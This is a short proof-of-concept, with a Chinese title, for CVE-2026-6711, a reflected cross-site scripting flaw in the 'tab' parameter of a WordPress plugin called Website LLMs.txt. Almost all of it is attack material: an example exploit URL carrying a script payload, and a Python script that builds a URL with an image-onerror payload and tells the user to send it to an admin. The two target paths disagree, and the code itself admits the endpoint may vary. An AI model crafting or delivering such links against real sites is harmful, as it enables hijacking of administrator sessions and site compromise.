CVE-2026-6711 WP插件反射型XSS漏洞

// PoC for CVE-2026-6711: Reflected XSS in Website LLMs.txt Plugin // Vulnerable parameter: 'tab' // The payload is injected into the URL and reflected in the response without sanitization. // Example Exploit URL: // http://target-wordpress-site/wp-content/plugins/website-llms-txt/admin.php?page=website-llms-txt-settings&tab=<script>alert('XSS')</script> // Python script to generate the link: import urllib.parse def generate_poc_url(base_url): # The malicious JavaScript payload payload = '<img src=x onerror=alert(1)>' # Constructing the query parameter # Note: The specific endpoint might vary, but 'tab' is the vulnerable parameter exploit_url = f"{base_url}?page=website-llms-txt-settings&tab={urllib.parse.quote(payload)}" return exploit_url if __name__ == "__main__": target = "http://example.com/wp-admin/admin.php" print(f"Send this URL to an admin: {generate_poc_url(target)}")